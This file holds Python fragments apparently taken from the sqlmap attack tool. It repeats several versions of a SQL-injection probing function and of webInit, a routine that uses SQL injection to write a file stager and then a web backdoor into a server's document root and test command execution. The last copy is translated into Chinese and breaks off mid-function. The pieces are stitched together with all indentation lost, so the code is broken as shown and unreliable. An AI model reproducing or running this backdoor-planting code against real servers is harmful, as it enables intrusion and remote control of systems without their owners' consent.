def heuristicCheckSqlInjection(place, parameter):
if kb.nullConnection:
debugMsg = "heuristic checking skipped "
debugMsg += "because NULL connection used"
logger.debug(debugMsg)
return None
if wasLastRequestDBMSError():
debugMsg = "heuristic checking skipped "
debugMsg += "because original page content "
debugMsg += "contains DBMS error"
logger.debug(debugMsg)
return None
prefix = ""
suffix = ""
if conf.prefix or conf.suffix:
if conf.prefix:
prefix = conf.prefix
if conf.suffix:
suffix = conf.suffix
payload = "%s%s%s" % (prefix, randomStr(length=10, alphabet=['"', '\'', ')', '(']), suffix)
payload = agent.payload(place, parameter, newValue=payload)
page, _ = Request.queryPage(payload, place, content=True, raise404=False)
parseFilePaths(page)
result = wasLastRequestDBMSError()
infoMsg = "heuristic test shows that %s " % place
infoMsg += "parameter '%s' might " % parameter
kb.heuristicTest = result
if not result and kb.dynamicParameter:
_ = conf.paramDict[place][parameter]
if _.isdigit():
randInt = int(randomInt())
payload = "%s%s%s" % (prefix, "%s-%s" % (int(_) + randInt, randInt), suffix)
payload = agent.payload(place, parameter, newValue=payload, where=PAYLOAD.WHERE.REPLACE)
result = Request.queryPage(payload, place, raise404=False)
if result:
infoMsg += "be injectable (possible DBMS: %s)" % (Format.getErrorParsedDBMSes() or UNKNOWN_DBMS_VERSION)
logger.info(infoMsg)
else:
infoMsg += "not be injectable"
logger.warn(infoMsg)
return result
def heuristicCheckSqlInjection(place, parameter):
if kb.nullConnection:
debugMsg = "heuristic checking skipped "
debugMsg += "because NULL connection used"
logger.debug(debugMsg)
return None
if wasLastRequestDBMSError():
debugMsg = "heuristic checking skipped "
debugMsg += "because original page content "
debugMsg += "contains DBMS error"
logger.debug(debugMsg)
return None
prefix = ""
suffix = ""
if conf.prefix or conf.suffix:
if conf.prefix:
prefix = conf.prefix
if conf.suffix:
suffix = conf.suffix
payload = "%s%s%s" % (
prefix, randomStr(length=10, alphabet=['"', '\'', ')', '(']), suffix)
payload = agent.payload(place, parameter, newValue=payload)
page, _ = Request.queryPage(payload, place, content=True, raise404=False)
parseFilePaths(page)
result = wasLastRequestDBMSError()
infoMsg = "heuristic test shows that %s " % place
infoMsg += "parameter '%s' might " % parameter
kb.heuristicTest = result
if result:
infoMsg += "be injectable (possible DBMS: %s)" % (
Format.getErrorParsedDBMSes() or UNKNOWN_DBMS_VERSION)
logger.info(infoMsg)
else:
infoMsg += "not be injectable"
logger.warn(infoMsg)
return result
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
if not kb.absFilePaths:
message = "do you want sqlmap to further try to "
message += "provoke the full path disclosure? [Y/n] "
if readInput(message, default='Y', boolean=True):
headers = {}
been = set([conf.url])
for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage, re.I):
url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php")
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
for place in (PLACE.GET, PLACE.POST):
if place in conf.parameters:
value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place])
if "[]" in value:
page, headers = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
cookie = None
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[PLACE.COOKIE]
elif headers and HTTP_HEADER.SET_COOKIE in headers:
cookie = headers[HTTP_HEADER.SET_COOKIE]
if cookie:
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
if value != cookie:
page, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
if value != cookie:
page, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(oset(directories))
path = urlparse.urlparse(conf.url).path or '/'
if path != '/':
_ = []
for directory in directories:
_.append(directory)
if not directory.endswith(path):
_.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
directories = _
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
for directory in directories:
if not directory:
continue
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
directory = "/%s" % directory
if not directory.endswith('/'):
directory += '/'
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# Fall-back to UNION queries file upload method
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION method"
logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
handle, filename = tempfile.mkstemp()
os.close(handle)
with open(filename, "w+b") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
f.write(_)
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
if not uploaded:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
if readInput(message, default='Y', boolean=True):
self._webFileInject(backdoorContent, backdoorName, directory)
else:
continue
self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "the backdoor has been uploaded but required privileges "
warnMsg += "for running the system commands are missing"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
break
def heuristicCheckSqlInjection(place, parameter):
if kb.nullConnection:
debugMsg = "heuristic checking skipped "
debugMsg += "because NULL connection used"
logger.debug(debugMsg)
return None
if wasLastRequestDBMSError():
debugMsg = "heuristic checking skipped "
debugMsg += "because original page content "
debugMsg += "contains DBMS error"
logger.debug(debugMsg)
return None
origValue = conf.paramDict[place][parameter]
prefix = ""
suffix = ""
if conf.prefix or conf.suffix:
if conf.prefix:
prefix = conf.prefix
if conf.suffix:
suffix = conf.suffix
randStr = ""
while '\'' not in randStr:
randStr = randomStr(length=10, alphabet=HEURISTIC_CHECK_ALPHABET)
payload = "%s%s%s" % (prefix, randStr, suffix)
payload = agent.payload(place, parameter, newValue=payload)
page, _ = Request.queryPage(payload, place, content=True, raise404=False)
parseFilePaths(page)
result = wasLastRequestDBMSError()
infoMsg = "heuristic test shows that %s " % place
infoMsg += "parameter '%s' might " % parameter
def _(page):
return any(_ in (page or "") for _ in FORMAT_EXCEPTION_STRINGS)
casting = _(page) and not _(kb.originalPage)
if not casting and not result and kb.dynamicParameter and origValue.isdigit():
randInt = int(randomInt())
payload = "%s%s%s" % (prefix, "%d-%d" % (int(origValue) + randInt, randInt), suffix)
payload = agent.payload(place, parameter, newValue=payload, where=PAYLOAD.WHERE.REPLACE)
result = Request.queryPage(payload, place, raise404=False)
if not result:
randStr = randomStr()
payload = "%s%s%s" % (prefix, "%s%s" % (origValue, randStr), suffix)
payload = agent.payload(place, parameter, newValue=payload, where=PAYLOAD.WHERE.REPLACE)
casting = Request.queryPage(payload, place, raise404=False)
kb.heuristicTest = HEURISTIC_TEST.CASTED if casting else HEURISTIC_TEST.NEGATIVE if not result else HEURISTIC_TEST.POSITIVE
if casting:
errMsg = "possible %s casting " % ("integer" if origValue.isdigit() else "type")
errMsg += "detected (e.g. %s=(int)$_REQUEST('%s')) " % (parameter, parameter)
errMsg += "at the back-end web application"
logger.error(errMsg)
if kb.ignoreCasted is None:
message = "do you want to skip those kind of cases (and save scanning time)? %s " % ("[Y/n]" if conf.multipleTargets else "[y/N]")
kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N').upper() != 'N'
elif result:
infoMsg += "be injectable (possible DBMS: %s)" % (Format.getErrorParsedDBMSes() or UNKNOWN_DBMS_VERSION)
logger.info(infoMsg)
else:
infoMsg += "not be injectable"
logger.warn(infoMsg)
return kb.heuristicTest
def heuristicCheckSqlInjection(place, parameter):
if kb.nullConnection:
debugMsg = "heuristic checking skipped "
debugMsg += "because NULL connection used"
logger.debug(debugMsg)
return None
if wasLastRequestDBMSError():
debugMsg = "heuristic checking skipped "
debugMsg += "because original page content "
debugMsg += "contains DBMS error"
logger.debug(debugMsg)
return None
origValue = conf.paramDict[place][parameter]
prefix = ""
suffix = ""
if conf.prefix or conf.suffix:
if conf.prefix:
prefix = conf.prefix
if conf.suffix:
suffix = conf.suffix
randStr = ""
while '\'' not in randStr:
randStr = randomStr(length=10, alphabet=HEURISTIC_CHECK_ALPHABET)
payload = "%s%s%s" % (prefix, randStr, suffix)
payload = agent.payload(place, parameter, newValue=payload)
page, _ = Request.queryPage(payload, place, content=True, raise404=False)
parseFilePaths(page)
result = wasLastRequestDBMSError()
infoMsg = "heuristic test shows that %s " % place
infoMsg += "parameter '%s' might " % parameter
def _(page):
return any(_ in (page or "") for _ in FORMAT_EXCEPTION_STRINGS)
casting = _(page) and not _(kb.originalPage)
if not casting and not result and kb.dynamicParameter and origValue.isdigit(
):
randInt = int(randomInt())
payload = "%s%s%s" % (prefix, "%d-%d" %
(int(origValue) + randInt, randInt), suffix)
payload = agent.payload(place,
parameter,
newValue=payload,
where=PAYLOAD.WHERE.REPLACE)
result = Request.queryPage(payload, place, raise404=False)
if not result:
randStr = randomStr()
payload = "%s%s%s" % (prefix, "%s%s" %
(origValue, randStr), suffix)
payload = agent.payload(place,
parameter,
newValue=payload,
where=PAYLOAD.WHERE.REPLACE)
casting = Request.queryPage(payload, place, raise404=False)
kb.heuristicTest = HEURISTIC_TEST.CASTED if casting else HEURISTIC_TEST.NEGATIVE if not result else HEURISTIC_TEST.POSITIVE
if casting:
errMsg = "possible %s casting " % ("integer"
if origValue.isdigit() else "type")
errMsg += "detected (e.g. %s=(int)$_REQUEST('%s')) " % (parameter,
parameter)
errMsg += "at the back-end web application"
logger.error(errMsg)
if kb.ignoreCasted is None:
message = "do you want to skip those kind of cases (and save scanning time)? %s " % (
"[Y/n]" if conf.multipleTargets else "[y/N]")
kb.ignoreCasted = readInput(
message,
default='Y' if conf.multipleTargets else 'N').upper() != 'N'
elif result:
infoMsg += "be injectable (possible DBMS: %s)" % (
Format.getErrorParsedDBMSes() or UNKNOWN_DBMS_VERSION)
logger.info(infoMsg)
else:
infoMsg += "not be injectable"
logger.warn(infoMsg)
return kb.heuristicTest
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
if not kb.absFilePaths:
message = "do you want sqlmap to further try to "
message += "provoke the full path disclosure? [Y/n] "
if readInput(message, default='Y', boolean=True):
headers = {}
been = set([conf.url])
for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I):
url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php")
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
for place in (PLACE.GET, PLACE.POST):
if place in conf.parameters:
value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place])
if "[]" in value:
page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
cookie = None
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[PLACE.COOKIE]
elif headers and HTTP_HEADER.SET_COOKIE in headers:
cookie = headers[HTTP_HEADER.SET_COOKIE]
if cookie:
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
if value != cookie:
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
if value != cookie:
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(oset(directories))
path = urlparse.urlparse(conf.url).path or '/'
if path != '/':
_ = []
for directory in directories:
_.append(directory)
if not directory.endswith(path):
_.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
directories = _
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webApi))
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))
for directory in directories:
if not directory:
continue
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
directory = "/%s" % directory
if not directory.endswith('/'):
directory += '/'
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# Fall-back to UNION queries file upload method
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION method"
logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
handle, filename = tempfile.mkstemp()
os.close(handle)
with open(filename, "w+b") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
f.write(_)
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
if not uploaded:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
if readInput(message, default='Y', boolean=True):
self._webFileInject(backdoorContent, backdoorName, directory)
else:
continue
self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "the backdoor has been uploaded but required privileges "
warnMsg += "for running the system commands are missing"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
break
def webInit(self):
"""
此方法用于在 web 服务器文档根目录中的可写远程目录中写入 web 后门 (代理)。
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = u"Web服务器支持哪种Web应用程序语言?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(),
(" (default)"
if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("无效值，只允许使用数字")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("无效值，它必须介于1和%d之间" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
if not kb.absFilePaths:
message = "你是否希望sqlmap进一步尝试引发完整的路径泄露? [Y/n] "
if readInput(message, default='Y', boolean=True):
headers = {}
been = set([conf.url])
for match in re.finditer(
r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-",
kb.originalPage or "", re.I):
url = "%s%s" % (conf.url.replace(
conf.path, match.group(4)), "wp-content/wp-db.php")
if url not in been:
try:
page, _, _ = Request.getPage(url=url,
raise404=False,
silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
if url not in been:
try:
page, _, _ = Request.getPage(url=url,
raise404=False,
silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
for place in (PLACE.GET, PLACE.POST):
if place in conf.parameters:
value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=",
conf.parameters[place])
if "[]" in value:
page, headers, _ = Request.queryPage(
value=value,
place=place,
content=True,
raise404=False,
silent=True,
noteResponseTime=False)
parseFilePaths(page)
cookie = None
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[PLACE.COOKIE]
elif headers and HTTP_HEADER.SET_COOKIE in headers:
cookie = headers[HTTP_HEADER.SET_COOKIE]
if cookie:
value = re.sub(
r"(\A|;)(\w+)=[^;]*",
"\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
cookie)
if value != cookie:
page, _, _ = Request.queryPage(value=value,
place=PLACE.COOKIE,
content=True,
raise404=False,
silent=True,
noteResponseTime=False)
parseFilePaths(page)
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
if value != cookie:
page, _, _ = Request.queryPage(value=value,
place=PLACE.COOKIE,
content=True,
raise404=False,
silent=True,
noteResponseTime=False)
parseFilePaths(page)
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(oset(directories))
path = urlparse.urlparse(conf.url).path or '/'
if path != '/':
_ = []
for directory in directories:
_.append(directory)
if not directory.endswith(path):
_.append("%s/%s" %
(directory.rstrip('/'), path.strip('/')))
directories = _
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH,
"backdoor.%s_" % self.webApi))
stagerContent = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
for directory in directories:
if not directory:
continue
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(
ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(
directory) and not directory.startswith('/'):
directory = "/%s" % directory
if not directory.endswith('/'):
directory += '/'
# 使用LIMIT 0，1 INTO DUMPFILE方法上传文件
infoMsg = u"尝试通过LIMIT'LINES TERMINATED BY'方法上传'%s'上的文件" % directory
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (
conf.scheme, conf.hostname, conf.port,
directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl,
stagerName)
debugMsg = "尝试查看该文件是否可以从'%s'访问" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
direct=True,
raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# 退回到UNION查询文件上传方法
if not uploaded:
warnMsg = "无法在'%s'中上传文件" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "尝试通过UNION方法将文件上传到'%s'上" % directory
logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True),
self.webApi)
self.webStagerFilePath = posixpath.join(
ntToPosixSlashes(directory), stagerName)
handle, filename = tempfile.mkstemp()
os.close(handle)
with open(filename, "w+b") as f:
_ = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH,
"stager.%s_" % self.webApi))
_ = _.replace(
"WRITABLE_DIR",
utf8encode(
directory.replace('/', '\\\\') if Backend.
isOs(OS.WINDOWS) else directory))
f.write(_)
self.unionWriteFile(filename,
self.webStagerFilePath,
"text",
forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (
conf.scheme, conf.hostname, conf.port,
directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(
self.webBaseUrl, stagerName)
debugMsg = "正在尝试查看文件是否可以从'%s'访问" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
direct=True,
raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
if not uploaded:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "文件stager上传在'%s', " % directory
warnMsg += "但不动态解释"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(
EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(
VIEWSTATE_REGEX, uplPage)
infoMsg = "文件stager已成功上传到'%s' - %s" % (directory,
self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
